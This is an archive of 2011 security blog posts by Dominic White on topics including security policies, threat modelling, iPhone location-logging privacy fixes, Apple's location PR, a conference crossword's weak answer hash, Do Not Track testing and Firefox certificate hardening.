Thanks

So many people did so many things, here's a brief list of people who need thanking in no particular order

The speakers - without you guys there's no con
People@ - you know who you are
The volunteers

Local site - Ralfe
Internets - Peter, Prince
Registration - Tim, Ross
Badges - Andrew
Venue - Sagi <-- Big shouts to this guy, who did some some hard work
Audio & Video - Tony and Jameel

Attendees - presenting to an empty room wouldn't be as much fun
University of Johannesburg - for hosting us
Cafe Pronto - for the coffee

Security Policies - Go Away

nospam@example.com (Dominic White) — Tue, 19 Jul 2011 13:27:00 +0200

This is re-published, from the original on the SensePost blog.

Security policies are necessary, but their focus is to the detriment of more important security tasks. If auditors had looked for trivial SQL injection on a companies front-page as hard as they have checked for security polices, then maybe our industry would be in a better place. I want to make this go away, I want to help you tick the box so you can focus on the real work. If you just want the "tool" skip to the end.

A year and a half ago, SensePost started offering "build it" rather than "break it" consulting services, we wanted to focus on technical, high-quality advisory work. However, by far the most frequently "consulting" request we've seen has been asking for security policies. Either a company approaches us looking for them explicitly or they want them bolted on to other work. The gut feel I've picked up over the years is that if someone is asking you to develop security policies for them, then either they're starting on security at the behest of some external or compliance requirement or they're hoping that this is the first step in an information security program. (Obviously, I can't put everything into the same bucket, but I'm talking generally) Both are rational reasons to want to get your information security policies sorted, but getting outside consultants to spend even a week's worth of time developing them for you, is time that could be better spent in my opinion. My reasons for this are two-fold:

If you're starting a security program, then you have a lot to learn and possibly a lot of convincing of senior management to do. Something like an internal penetration test (not that I'm advocating this specifically instead of policy) will give you far more insight into the security of your environment and a lot more "red ink" that can be used to highlight the risk to the "higher ups".
Security policies don't "do" anything. They are a representation of management's intention and agreements around security controls, which in the best case, provide a "cover my ass" defense if an employee takes you to task for intercepting their e-mails or something similar. The policies need to be used to derive actual controls, and are not controls in themselves.

Instead, we too often end up in a world where security policies, rather than good security, is the end goal while new technologies keep us amused developing new ones (mobile policies, social media policies, data leakage policies etc.)

Saying all of this is fine, but it doesn't make the auditors stop asking, and it doesn't put a green box or tick in the ISO/PCI/CoBIT/HIPAA/SOX policies checkbox. Previously, I've pointed people at existing policy repositories, where sample policies can be downloaded and modified to suit their need. Sites such as CSOOnline or PacketSource have links to some policies, but by far the most comprehensive source of free security policy templates is SANS. The problem is people seem to look at these, think it looks like work, and move on to a consultancy that's happy to charge for a month's worth of time. Even when you don't, the policies are buried in sub-pages that don't always make sense (for example, why is the Acceptable Use Policy put under "computer security"), even then several of them are only available in PDF form (hence not editable), even though they are explicitly written as modifiable templates. What I did was to go through all of these pages, download the documents, convert them into relevant formats and categorise them into a single view in a spreadsheet with hyperlinks to the documents. I've also included their guidance documents on how to write good sec policies, and ISO 27001-linked policy roadmaps. I haven't modified any of the actual content of the documents, and those retain their original copyright. I'm not trying to claim any credit for others' hard work, merely make the stuff a little more accessible.

You can download the index and documents HERE.

In future, I hope to add more "good" policies (a few of the SANS policies aren't wonderful), and also look into expanding into security standards (ala CIS Security) in the future. If necessary, take this to a consultancy, and ask them to spend some time making these specific to your organisation and way of doing things, but please, if you aren't getting the basics right, don't focus on these. In the meantime, if you're looking for information security policies to go away, so you can get on with the bigger problems organisations, and our industry in general are facing, then this should be a useful tool.

Threat Modeling vs Information Classification

nospam@example.com (Dominic White) — Thu, 09 Jun 2011 15:24:50 +0200

This was originally posted on the SensePost blog.

Over the last few years there has been a popular meme talking about information centric security as a new paradigm over vulnerability centric security. I've long struggled with the idea of information-centricity being successful, and in replying to a post by Rob Bainbridge, quickly jotted some of those problems down.

In pre-summary, I'm still sceptical of information-classification approaches (or information-led control implementations) as I feel they target a theoretically sensible idea, but not a practically sensible one.

Information gets stored in information containers (to borrow a phrase from Octave) such as the databases or file servers. This will need to inherit a classification based on the information it stores. That's easy if it's a single purpose DB, but what about a SQL cluster (used to reduce processor licenses) or even end-user machines? These should be moved up the classification chain because they may store some sensitive info, even if they spend the majority of the time pushing not-very-sensitive info around. In the end, the hoped-for cost-saving-and-focus-inducing prioritisation doesn't occur and you end up having to deploy a significantly higher level of security to most systems. Potentially, you could radically re-engineer your business to segregate data into separate networks such as some PCI de-scoping approaches suggest, but, apart from being a difficult job, this tends to counter many of the business benefits of data and system integrations that lead to the cross-pollination in the first place.

Next up, I feel this fails to take cognisance of what we call "pivoting"; the escalation of privileges by moving from one system or part of a system to another. I've seen situations when the low criticality network monitoring box is what ends up handing out the domain administrator password. It had never been part of internal/external audits scope, none of the vulns showed up on your average scanner, it had no sensitive info etc. Rather, I think we need to look at physical, network and trust segregation between systems, and then data. It would be nice to go data-first, but DRM isn't mature (read simple & widespread) enough to provide us with those controls.

Lastly, I feel information-led approaches often end up missing the value of raw functionality. For example, a critical trade execution system at an investment bank could have very little sensitive data stored on it, but the functionality it provides (i.e. being able to execute trades using that bank's secret sauce) is hugely sensitive and needs to be considered in any prioritisation.

I'm not saying I have the answers, but we've spent a lot of time thinking about how to model how our analysts attack systems and whether we could "guess" the results of multiple pentests across the organisation systematically, based on the inherent design of your network, systems and authentication. The idea is to use that model to drive prioritisation, or at least a testing plan. This is probably closer aligned to the idea of a threat-centric approach to security, and suffers from a lack of data in this area (I've started some preliminary work on incorporating VERIS metrics).

In summary, I think information-centric security fails in three ways; by providing limited prioritiation due to the high number of shared information containers in IT environments, by not incorporating how attackers move through a networks and by ignoring business critical functionality.

Vodacom ZA iPhone Carrier Update

nospam@example.com (Dominic White) — Tue, 07 Jun 2011 10:05:23 +0200

Yesterday I got sent a carrier update on my iPhone. I was interested in what this does, so pulled it apart, this is the list of changes it made. This is pretty uninteresting and just an excuse for me to understand carrier updated.

Apple has a post on carrier updated here, which specifies the locations the files are downloaded to your machine. They have a ".ipcc" extension, but file shows them to be simple ZIP files. Unlike firmware updates, iTunes does not delete the old version on download of a new one, so it's easy to compare them. You can unzip them, then you'll need to use plutil to convert the .plist files from binary form to XML with the command: plutil -convert xml1 <filename>.plist . After that, a simple diff -u showed the changes with context. This were helpfully explained by the iPhone Wiki's breakdown of the attributes. The relevant changes were:

The maximum number of Bluetooth modem tethering connections has been set to 5
Facetime registration SMS'es will not require an opt-in due to cost
A roaming voicemail number has been explicitly set (an UK number)
A new "blank" APN was added. I have no idea what this is for, and it doesn't seem to appear on the actual phone as an option.
Some carrier pictures have been updated

Security Vendor Bingo

nospam@example.com (Dominic White) — Sun, 08 May 2011 20:56:08 +0200

Matt Erasmus came up with a great idea for taking the Security Bingo card from RSA, and making our own for the ITWeb Security Summit, and using it to generate some funds for Hackers for Charity. Last year, thanks to companies such as ITWeb, SensePost & Telspace we managed to send R15k over to HFC, and it would be nice to do it (or more) again.

I have a long standing bug-bear over the uselessness that security vendors seem to bring to cons in ZA. They respond to requests for "please don't pitch your product" by talking generically about the "outsourced next generation cloud-based firewall industry" as if that was some sort of legitimate field that didn't constitute only their product. They still send sales/pre-sales/product specialists with their EMEA marketing deck, rather than something of actual value. But as long as they're offering money, people take it, no questions asked. You'd think the empty rooms and people walking out of their presentations would send the message, but instead a local distributor finds a new vendor, or the vendor sends a new person, so the lesson is never learned.

That's not why Matt suggested the bingo, but it's one of the main reason's I helped. I want the vendor telling us that their product will block 100% of APTs to walk away feeling dirty and ashamed, and maybe even realise the error of their ways and turn into the next Charlie Miller. Also, I want to help Johnny, and the great work HFC is doing in Uganda (and Kenya).

So, as Matt already said. Find either he or I at the security summit (we'll be wearing I Hack Charities shirts) and give us R50 (or more, it's for a good cause) and we'll give you a security vendor bingo card (feel free to pre-print yours). Fill it out during the talks or on the con floor, optionally with the name of the vendor so we can tally a highscore list, then either return it to us in person, or mail it to the address printed on it, and we'll give you the results. There'll be some sort of prize if we can muster one, one for the person to complete first with the highest score, and one for the person who comes up with the best "other" phrase. Given that you could just tick them all off and give yourself a first high score, this will be a "Don't be a Douche" style contest.

Blocking iPhone Tracking (consolidated.db) Solved

nospam@example.com (Dominic White) — Wed, 27 Apr 2011 00:43:32 +0200

After several days of trying all the different solutions proposed as the story has emerged, I think I've finally got a solution that is both usable (i.e. doesn't break anything) and permanent (i.e. apply once and let dry).

My original suggestion of rubbish values + read-only didn't work, untrackerd takes up valuable memory & battery and misses nearly all the worrying data & the SQL triggers file from Tehtri also missed some data and breaks some functionality (most notably the compass).

However, Tehtri's idea was the best. They proposed a set of SQL triggers that would reset the consolidated.db to a clean state and prevent it filling up with your location data. All this without requiring a persistent daemon or the need to re-apply the fix. I've edited their SQL (you can see the changes here, this is merely for those interested, don't run it) to reset consolidated.db to how it looks when locationd creates a blank new one, then modified the triggers to do the same (rather than just blank all the tables). I've also extended it to include some tables they had missed, and not delete some data it shouldn't (e.g. blanking TableVersions makes locationd unhappy, and it has no location data in it anyway) . Finally, I leave the last entry of the compass calibration (in the trigger too) so you don't have to constantly recalibrate your compass (every minute or so it was). I haven't found it break anything yet (even location via nearby wifi BSSID works without storing the values). Grab the final, clean version from here, and apply with the sqlite command:

sqlite3 consolidated.db '.read singe-iphone-privacy.sql'

There are three ways to do this:

On a jailbroken phone with sqlite3 installed, you can scp or wget the file to the device and do it there & then.
On a jailbroken phone, you can copy consolidated.db off, apply the patch, then copy it back.
On an unjailbroken (aka normal) phone, you can use the backup & restore method

If you're jailbroken, you can figure it out.

Update: The below instructions no longer work after iTune 9.2 implemented a new proprietary backup format. I'm hoping the documentation here will allow a quick update of the file hash & size to let the restore work, but until I or someone else has time. You'll need to be jailbroken to protect yourself.

For normal people, follow these instructions:

Plug in your iPhone and let iTunes make a backup. Make sure the backup isn't encrypted, we'll do that later.
Go to your backups directory. On OSX it will be in /Users/<username>/Library/Application Support/MobileSync/Backup/ In Win7 it will be in \Users\<username>\AppData\Roaming\Apple Computer\MobileSync\Backup\ other windows locations are listed here. It will contain several randomly named directories, change into the one with the latest timestamp (sort by last-modified date) to work on your last backup.
Get hold of the iphonels.py file. Either by copy pasting from the original here, or just downloading this one.
Look for the randomly named file that maps to consolidated.db by running the iphone-ls.py and grepping for "consolidated" e.g.: ./iphone-ls.py | grep consolidated. It will look something like '3086b93ce76d2847dc283405811e284a7c815839'. If you're on Windows, you'll need to install python.
The value in brackets is the name of the file as it is stored in the backup folder. This name will be consistent across all your backups.
Apply the SQLite modifications from here to the file, either use the sqlite3 command line utility e.g. sqlite3 3086b93ce76d2847dc283405811e284a7c815839 '.read singe-iphone-privacy.sql', or use your favourite GUI.
Overwrite all copies of consolidated.db in each backup directory with the new version. This is easy to do as the random file name is consistent across backups, so just copy the new file into each backup directory.
Next, plug in your phone, and restore your backup. Remember to re-encrypt your backups.

Update 1: Restoring to a non-jailbroken phone doesn't work. Updated the .sql with the 'vacuum' command to flush out old data (thanks Istvan).

Apple's PR on Location Data

nospam@example.com (Dominic White) — Thu, 28 Apr 2011 06:37:02 +0200

Apple responded to the location logging stuff with a Q&A aimed at dispelling some of they myths all the hype has created. The only problem is, they try to dispel some of the facts too.

1. Why is Apple tracking the location of my iPhone?
Apple is not tracking the location of your iPhone. Apple has never done so and has no plans to ever do so.

3. Why is my iPhone logging my location?
The iPhone is not logging your location. Rather, it’s maintaining a database of Wi-Fi hotspots and cell towers around your current location, some of which may be located more than one hundred miles away from your iPhone, to help your iPhone rapidly and accurately calculate its location when requested. Calculating a phone’s location using just GPS satellite data can take up to several minutes. iPhone can reduce this time to just a few seconds by using Wi-Fi hotspot and cell tower data to quickly find GPS satellites, and even triangulate its location using just Wi-Fi hotspot and cell tower data when GPS is not available (such as indoors or in basements). These calculations are performed live on the iPhone using a crowd-sourced database of Wi-Fi hotspot and cell tower data that is generated by tens of millions of iPhones sending the geo-tagged locations of nearby Wi-Fi hotspots and cell towers in an anonymous and encrypted form to Apple.

4. Is this crowd-sourced database stored on the iPhone?
The entire crowd-sourced database is too big to store on an iPhone, so we download an appropriate subset (cache) onto each iPhone. This cache is protected but not encrypted, and is backed up in iTunes whenever you back up your iPhone. The backup is encrypted or not, depending on the user settings in iTunes. The location data that researchers are seeing on the iPhone is not the past or present location of the iPhone, but rather the locations of Wi-Fi hotspots and cell towers surrounding the iPhone’s location, which can be more than one hundred miles away from the iPhone. We plan to cease backing up this cache in a software update coming soon (see Software Update section below).

Their claim pretty explicitly states, that they aren't storing location data based on your actual position. The facts would appear to indicate otherwise (these are based on the copy of consolidated.db that was on my phone:

The tables "CellLocationHarvest" & "CellLocationLocal" store both "Speed" and "Course" entry (several others have these fields, but did not have any or valid data in them). Unless cell towers have a habit of moving about, this would appear to be logging *your speed & direction* and not just "tower data". Granted, the "CellLocation" table containing the most significant amount of data, did not have valid data in the speed fields.
The table names imply different uses for e.g. we'd expect CdmaCellLocation, CellLocation & WifiLocation tables to store the info they speak about above. But the "LocationHarvest" table not only stores valid speed & course fields, it also assigns a unique "Trip ID" e.g D47CA532-84C9-40CD-8BE6-B3895837DA3C. This looks like a unique identifier based on *your* movements, not those of the cell towers.
Even if this was downloading offline caches of cell towers & APs for assisted GPS, given this includes details as granular as my neighbours Wifi AP, this is still more than enough to track your actual location. We've seen large data sets with "unique anonymous" identifiers deanonymised many times.
The data is good enough for forensic investigators to use, here's a screenshot from a book on iOS forensics: "consolidated.db [snip] is potentially one of the most forensically rich files an analyst can use." It strikes me that if it's good enough to use in the courts, then the implications may be a bit wider than Apple claims.
And finally, further down the QA, Apple contradicts their statement of "The iPhone is not logging your location" by explaining that it is, and this will be used for traffic information. This explains the "LocationHarvest" table mentioned above.

8. What other location data is Apple collecting from the iPhone besides crowd-sourced Wi-Fi hotspot and cell tower data?
Apple is now collecting anonymous traffic data to build a crowd-sourced traffic database with the goal of providing iPhone users an improved traffic service in the next couple of years.

On the up side, they acknowledge at least one bug:

7. When I turn off Location Services, why does my iPhone sometimes continue updating its Wi-Fi and cell tower data from Apple’s crowd-sourced database?

It shouldn’t. This is a bug, which we plan to fix shortly (see Software Update section below).

I haven't seen what is actually transmitted to Apple, so can't comment on how much is uploaded or downloaded. However, I can attest to have seen the iPhone populate the file with tower & AP information when first populating it with data (123 cell towers, and 401 wifi APs). So that part is at least true.

In conclusion, I certainly don't think this is a serious threat, but this file does store rich location data that can be used by anyone with access to it to disclose a significant history of your movements. Apple has attempted to play that down, but for people to who the privacy of that data may be of critical importance (think protesters in Lybia or Egypt), they should take steps to protect themselves. Finally, it is also my belief, that based on the data in the file, if Apple has access to the same data, then there is enough information for them to uniquely identify both you, and your location history. They claim they aren't, but it just takes one breach for all of this data to end up somewhere we need to make different assumptions about, and I'd prefer that the location data Apple (and others, like my mobile service provider) collected without my consent, be deleted.

Quick note on the iPhone Location Tracking Disclosure

nospam@example.com (Dominic White) — Thu, 21 Apr 2011 07:45:27 +0200

Update 3: I've modded Tehtri's approach and it appears to be working nicely, read this post.

Update 2: untrackerd seems to clear out two tables only, and not the most worrying tables either (at least in my file). After 2 days of use, it didn't change a single entry in my consolidated.db (I was using v0.2). So I've ditched it. However, the guys from Tehtri Security, posted a leet idea to Full Disclosure of using triggers (I had no idea SQLite3 could do triggers). The triggers ensure that the relevant tables get auto-truncated when written to. You can download this SQL file, and apply it to consolidated.db with the command (assuming it's in the same directory):

sqlite3 consolidated.db '.read tehtris-iphone-privacy.sql'

I've checked and applied the triggers, and they seem to be functioning (I watched the file shrink as loc data was written), and location services are working. So far so good. You can either use the backup & restore method discussed below, or if jailbroken, you can scp the file off the device, apply the change and scp back, or install sqlite3 via Cydia and do it on the device.

Update 1 - Warning: This breaks location services. I didn't notice because I spoof my location to a bunch of apps, whoops. The specific aspect that breaks location services appears to be the use of the stub consolidated.db file. The read-only permission flags get ignored on an otherwise "correct" file. You can delete the file regularly and it won't cause any problems however. There is a jailbroken application, untrackerd, which will run a daemon to do it for you. When I get a chance, I'd like to extend the SBSettings GPS switch to delete the file too (i.e. delete consolidated.db on GPS switch on).

Yesterday, Pete Warden and Alasdair Allen released some research and a tool that showed that Apple has been collecting detailed location data since v4 of iOS in a file called consolidated.db. Apart from the worry of wtf Apple is collecting such detailed information, this file is available in the clear in all your iTunes backups, meaning any application on your computer can access it if you haven't encrypted your backups. To demonstrate that, Pete and Alasdair released a demo app that gives a scary amount of detail about your movements.

The only advice given by the researchers was to encrypt your backups. This will prevent other apps from reading the file out of them, but it won't stop the file from existing at the source. I did some quick poking and found a better solution. You can edit your consolidated.db to contain junk data, and replace it in your backups, and restore your phone. If you've got a jailbroken phone, you can also remove write permissions to the file, and it won't get updated (based on the limited testing I performed).

Here's the step by step guide:

Plug in your iPhone and let iTunes make a backup. Make sure the backup isn't encrypted, we'll do that later.
Go to your backups directory. On OSX it will be in /Users/<username>/Library/Application Support/MobileSync/Backup/ (note, there's no "s" on the end of Backup like the iPhoneTracker FAQ suggests). In Win7 it will be in \Users\<username>\AppData\Roaming\Apple Computer\MobileSync\Backup\ other windows locations are listed here. It will contain several randomly named directories, change into the one with the latest timestamp to work on your last backup.
Get hold of the iphonels.py file. Either by copy pasting from the original here, or just downloading this one.
Look for the randomly named file that maps to consolidated.ls by running the iphone-ls.py and grepping for "consolidated" e.g.: ./iphone-ls.py | grep consolidated
The value in brackets is the name of the file as it is stored in the backup folder. This name will be consistent across all your backups.
If you like, open the file up in your favourite SQLite editor and mess up the tracking values. Or to save time, you can use this one. In my file, I truncated as many tables as made sense (e.g. I didn't truncate the "versions" table), and for those which couldn't be truncated, overwrite the private data with 1's.
I then overwrite all copies of consolidated.db with the new neutered version. This is easy to do as the random file name is consistent across backups.
Next, plug in your phone, and restore your backup. Remember to re-encrypt your backups.

The problem with this approach, is that it will need to be done regularly to keep clearing out the new location data that gets written. If you have jailbroken your phone, you can take the additional step of overwriting the file on the device (it's in ~/Library/Caches/locationd/consolidated.db) then chmod'ing it to 440 to make it read-only (this doesn't work, the perms are ignored, you'd need to SetFile). I did this then tried several things such as switching the GPS on and off, reconnecting to the cell network, turning wifi on/off, turning on my GPS app, airplane mode on/off etc. and nothing updated the file (because I was spoofing my location, whoops). Although, a -journal file does get created for brief short periods, that quickly disappears (too fast for me to grab a sample, and too inconsistently for me to repeatedly force it's generation).

Todo (or if you feel like contributing): Modify the iphone-ls.py file to allow changing values, most notably the permissions (2 byte integer) to allow the backup to mark the file as read-only.

Cracking the ITWeb Security Summit Puzzle

nospam@example.com (Dominic White) — Fri, 08 Apr 2011 17:18:26 +0200

This is a pretty pointless entry talking about the simple crossword challenge provided by the ITWeb Security Summit.

The crossword is trivial, I was able to guess each word on first attempt, except the last long word. Instead of thinking about it, and realising that several others had already done it, I thought I'd have a look at the code.

It turns out that the code is somewhat smart and doesn't reveal the words, rather it uses a custom hashing algorithm and stores the hashes. The two pieces of JavaScript controlling the crossword are the configuration (questions & answers) and the functionality. There are two interesting pieces of information in these, the first is the hashes of the answers stored in the configuration:

AnswerHash = new Array(10664, 37493, 27958, 81424, 27548, 67695, 31280);

And the second, in the functionality, is the hashing algorithm:

function HashWord(Word)
{
    var x = (Word.charCodeAt(0) * 719) % 1138;
    var Hash = 837;
    var i;
    for (i = 1; i <= Word.length; i++)
        Hash = (Hash * i + 5 + (Word.charCodeAt(i - 1) - 64) * x) % 98503;
    return Hash;
}

A quick look at the hashing algorithm shows that it probably isn't reversible (or at least not trivially), primarily due to the modulus operators which aren't reversible. However, all is not lost, the algorithm is very simple, which means two things. The first is that it will have a ton of collisions (i.e. many words will result in the same hash) and the second is that your processor won't do much work in running it. Thus, I figured it may be fun to run it across a dictionary and see what collisions pop-up.

Since I was playing, I decided to check out whether there were any CLI JavaScript shells that I could use, and the speed at which they run. A quick google showed me that Chrome's V8 JavaScript engine has a "toy" shell that could be used. I pulled down the trunk, and with the sample=shell option passed to scons had the shell binary built.

The V8 shell is pretty cool, and can either be run interactively, used to evaluate JS passed as an argument with the -e switch, or run multiple files. However, input via CLI can't be passed as an ARGV, and either needs to be in one of the files, or in a -e statement. So I created three files:

hash.js - Which contained the HashWord function above verbatim, but with a toUpperCase() added to the word passed
dict.js - Which contained /usr/share/dict converted into a JS Array object
loop.js - Which contained the answer hashes array, and looped through the dict comparing resulting hashes to the answers

If you're interested, the three files can be downloaded from here. They can be run by passing all three as arguments to shell e.g. ./shell dict.js shell.js loop.js

The results were as follows:

Found! Word: anonymous Hash: 27958
Found! Word: coseismic Hash: 10664
Found! Word: cryptanalysis Hash: 31280
Found! Word: Cupressaceae Hash: 27548
Found! Word: cystolithic Hash: 31280
Found! Word: honeypot Hash: 37493
Found! Word: irrationability Hash: 10664
Found! Word: miscommit Hash: 37493
Found! Word: phloroglucic Hash: 10664
Found! Word: pneumotoxin Hash: 67695
Found! Word: psychics Hash: 10664
Found! Word: reeky Hash: 67695
Found! Word: rhamphoid Hash: 37493
Found! Word: shuckpen Hash: 81424
Found! Word: stowbordman Hash: 81424
Found! Word: unthoughtedly Hash: 27958

Out of interest the result of time() were: 0.39s user 0.06s system 97% cpu 0.460 total

If you've checked the crossword, you'll see some of the answers are listed, you'll also see that there are several collisions, for example 'cryptanalysis' and 'cystolithic' both result in 31280, the hash of the final 'secret' word. It was fairly obvious that 'cryptanalysis' was the final word (apart from being the right length, it's the only security related term) however, I then tried to see if one of the 'incorrect' collisions would work. Unfortunately, there is a length check and so a straight substitution doesn't work, but 'coseismic' in the place of 'conficker' is accepted by the crossword as this image shows:

However, when you try and complete the crossword with the incorrect word, the 's' in 'coseismic' conflicts with the 'c' in 'cryptanalysis' and so you can't complete the crossword with this combination of words. However, if you don't limit yourself to english, and rather use random characters, you could eventually find gobbldegook that would complete the crossword. A challenge for someone else perhaps?

So that's my hackers attempt at 'cracking the code'. Hope to see you at the summit.

Do Not Track & AP News Registry

nospam@example.com (Dominic White) — Wed, 06 Apr 2011 00:11:27 +0200

Firefox 4 implemented the Do Not Track header. This is an option, sent via an HTTP header, to specify to a webserver that the user would like to opt-out of advertising/behavioural tracking. The news came in soon after that the AP News Registry service had implemented support for DNT. So I decided to have a quick look at what this meant. It ended up highlighting why I think DNT will never be a solution by itself, and why it's intended use may even be tenuous.

First off, I needed to know what domain and from what sites the AP cookies are set. It turns out that the service relies on the hNews microformat, and a quick google brought me to The Aspen Times. If you have a look at the source for Aspen News, you'll see some content loaded from analytics.apnewsregistry.com and apnewsregistry.com. Since "analytics" seemed to be the most likely tracking source, I made two simple HTTP requests to the URL referenced in a news story, one with the DNT header, and one without.

$ nc analytics.apnewsregistry.com 80
GET http://analytics.apnewsregistry.com/[snip] HTTP/1.1
Host: analytics.apnewsregistry.com

HTTP/1.0 303 See Other
Set-Cookie: ASP.NET_SessionId=lwymgdbt4u5go3e55al1uxwc; path=/; HttpOnly
[snip]

With DNT:

$ nc analytics.apnewsregistry.com 80
GET http://analytics.apnewsregistry.com/[snip] HTTP/1.1
Host: analytics.apnewsregistry.com
DNT: 1

HTTP/1.0 303 See Other
Set-Cookie: ASP.NET_SessionId=vy1r33ambeja03fev4e1ognw; path=/; HttpOnly
[snip]

In both cases, you can see a unique session cookie is being set. That didn't seem right. So I set up a brand new Firefox 4 profile, hit aspen news, then checked the cookies. Without DNT I saw the following cookies related to apnewsregistry:

I then set the DNT option under Preferences -> Advanced -> General -> "Tell websites I do not want to be tracked", and saw the following cookies get set:

This tells me that it's not the analytics site, but the other which is affected by the DNT header.

Does this mean the AP News Registry conforms to the intention of Do Not Track? The answer is that we have no idea. They're still dropping a unique identifier, even with DNT set. Even if they weren't dropping any, the combination of other browser attributes could prove unique enough. In the end, someone would need to perform a code review of their server-side code to make sure the unique identifiers aren't being used for tracking.

This is important, because that's the primary intention of DNT. To quote Harlan Yu when asked about this issue:

Of course, Do Not Track needs a regulatory framework with effective enforcement mechanisms. This is the ongoing policy debate in Washington, whether Congress should give the FTC authority to define and enforce DNT regulations and what these regulation look like.

But enforcement is going to be very hard if situations like the above are allowed to persist. Do Not Track needs to result in no cookies or other unique identifiers being set on the client side and an independent audit of the tracker's server side code for it to be a meaningful label that can be meaningfully "breached".

In short, I'm not saying DNT is useless, just that implemented as AP News has done it, is equivalent to an unverifiable promise. In the end, it is my belief that we need to rely on technical means *first* for provable privacy, and let ideas like DNT provide a *secondary* legislative mechanism.

In the meantime, DomCorp will be offering free "DNT audits", just send me all your codez and passwords :)

Improving Certificate Security in Firefox4

nospam@example.com (Dominic White) — Sat, 26 Mar 2011 18:04:54 +0200

After Jacob outed the compromise at one of Comodo's resellers, I decided to see how I could best secure my browser when it comes to TLS. This is important given how fundamental TLS is to our daily online activities. The advice I currently recommend and have implemented myself in Firefox 4 consists of:

Install HTTPS-Everywhere
Reducing the number of trusted root CA certificates to the most frequently used
Forcing OCSP revocation checks
Monitoring for certificate changes

This is a brief how-to enable the same in your browser.

Install HTTPS Everywhere

You need a reason to engage in all this hard work. Install the EFF's HTTPS-Everywhere add-on which will automatically redirect you to encrypted version of many popular websites. Blanket rules for doing this tend to break things, and the EFF has put some good work into making this usable. Everyone should have it installed.

Reducing the Trusted Roots

Qualys SSL labs, and the EFF SSL Observatory both have data sets which identify the top root certificates in use across the internet. The interesting finding their research highlights is that the top 10 root certificates (note, some CAs have multiple root certificates) account for over 90% of the Internet. This means we can safely cut his number down from the nearly 200 currently in Firefox to 24. I'll be publishing a more detailed analysis on SensePost's blog, but in the meantime, the 24 most commonly used I went for (which accounts for approximately 98% of all certificates is use) are:

AddTrust External CA Root
COMODO Certificate Authority
AAA Certifice Services
DigiCert High Assurance EV Root CA
Entrust.net Secure Server Certification Authority
Entrust.net Certification Authority (2048)
Equifax Secure CA
Equifax Secure Global eBusiness CA-1
GeoTrust Global CA
GlobalSign Root CA
GTE CyberTrust Global Root
Network Solutions Certificate Authority
SecureTrust CA
StarField Class 2 CA
StartCom Certification Authority
Thawte Server CA
Thawte Premium Server CA
thawte Primary Root CA
Go Daddy Class 2 CA
UTN-UserFirst-Hardware
http://www.valicert.com/ (Class 2 Policy Validation)
Verisign Class 3 Public Primary Certification Authority - G5
Verisign Class 3 Public Primary Certification Authority
Verisign Class 3 Public Primary Certification Authority - G2

Note that these are specific certs, not CAs. You can manually configure these in Firefox by going to Preferences->Advanced->Encryption->View Certificates and manually editing the trust for every certificate. This is a pretty tedious process, and so you can rather download the preconfigured certificate database from me here (SHA 512: e184e5750ccab4b9ea6ef4d67e813fcdbe8515ac9aafc9ded1fa27eb59c8bfe111cba5d424d33721f830b2d2b5ff3a388a4885502a93f6d805041ecbcaf31c05). This will overwrite any existing certificates you may have trusted or imported, so I'd recommend you do it on a new clean profile. Just copy it into your Firefox profile directory. A profile directory is usually several random alphanumeric characters followed by the profile name e.g. xxxxxxxx.default. On different operating systems the file should be placed in:

OSX ~/Library/Application Support/Firefox/Profiles/xxxxxxxx.default/cert8.db
Windows %APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\cert8.db
Linux ~/.mozilla/firefox/xxxxxxxx.default/cert8.db

I've been surfing with this configuration for a day or two now with no problems. Your browser will validate the entire chain, so if a certificate is signed by an intermediary you don't trust, but which is eventually signed by a root you do trust, then your browser won't give you a certificate error. This means the impact of this change is limited and basically prevents some of the stranger CAs like Booz Allen Hamilton or The Chinese Gov from issuing certs you will trust, but wouldn't prevent a compromised intermediary (as in Comodogate) attack. If you've decided not to trust Comodo post Comodogate, you can untrust the Comodo and AAA certificates, although will receive many untrusted cert errors.

Forcing OCSP verification Checks

There are two ways for your browser to check whether a certificate, validly signed by a certificate authority, has been revoked. The first is to check the CRLs embedded in a certificate, and the second is to do a dynamic lookup over the Online Certificate Status Check Protocol (OCSP) (one can also subscribe to CRL lists, but this is currently an onerous and complete process). By default this is not forced each time, and must be enabled ~~by manually toggling the option in about:config~~ through a config option. The trade off is that the OCSP provider can see what sites you are visiting. If you're being surveilled you may not want to do this, but for your average user it may be worth it given the current compromises.

To do this:

~~Type "about:config" in your URL bar~~
~~Click "I'll be careful I promise" when you see the warning~~
Add a new Boolean key named security.OCSP.require
~~Ensure the value is set to "true"~~

Navigate to Preferences->Advanced->Encryption->Validation
Select both checkboxes referring to using an OCSP server, and marking failed validations as invalid
Choose the first radio button about using OCSP if a cert specifies it (hopefully a trusted entity will run a decent OCSP server we can validate all certs against soon)

Monitoring for Certificate Changes

Your browser now provides a little more certainty that you can trust the random certificate it has been presented, however, it is still useful to know when a certificate has changed. This will give an indication that either a validly signed certificate is being used in a man in the middle attack, as is the case with some lawful intercept products, or as in the case of Comodogate. For example, my use of certificates on this website has nothing to do with valid signatures and relies on the fact that the exact same certificate that I trust is in use. For this monitoring I used to use Petnames, however, this has not been updated for Firefox 4, and so I found Certificate Patrol (thanks Ivan). This too is not compatible with the final release of Firefox 4, however, it is with a beta, and so ~~disabling Firefox add-on compatibility checking~~ using the add-on compatibility reporter will allow it to be installed.

What Certificate Patrol does when you first visit a site and are presented with a certificate, is to display a pop-up showing the certificates details. This forces you to actually evaluate the certificate for common-sense indicators e.g. is it assigned to the company it should be or "Iranian Secret Police". The really useful feature however, is when you next visit the site, it will check that the certificate is the same as seen before, and if there is a mismatch (i.e. the certificate has changed) it will warn you. Thus, for example, if you are in a wireless hot-spot and find you get a "certificate changed" warning on every SSL site you visit, that's a clear indication that someone is intercepting your traffic. If you get it on your banking website with no warning, it should make you look for an announcement from the bank about it, and if not, ask them for one.

To disable add-on compatibility checking and install Certificate Patrol, do the following:

~~Got to about:config as described in the previous section~~
Find the key named extensions.checkCompatibility.4.0
Toggle the value to false

Install the "Add-on compatibility reporter" to allow you to install & report on plugins not yet marked as compatible with FF4
Navigate to the Certificate Patrol page, and click "Download Now"
Restart Firefox when prompted

If you want to take it a step further, there is the Perspectives add-on. What this does is contact a specialised notary that comments on how long the certificate presented by the site has been "seen". The add-on will them assign a "trustworthyness" based on how consistent the answers between notaries are, and how long the certificate has remained the same. Thus, if you are being man-in-the-middle'd the certificate presented would be different from any the notaries had seen and a failure would be issued.

Update: Updated to avoid about:config changes.
Update II: Added SHA sum of cert trust DB and fixed some spelling.
Update III: Referenced perspectives

Stub Cookies

nospam@example.com (Dominic White) — Thu, 03 Mar 2011 22:40:31 +0200

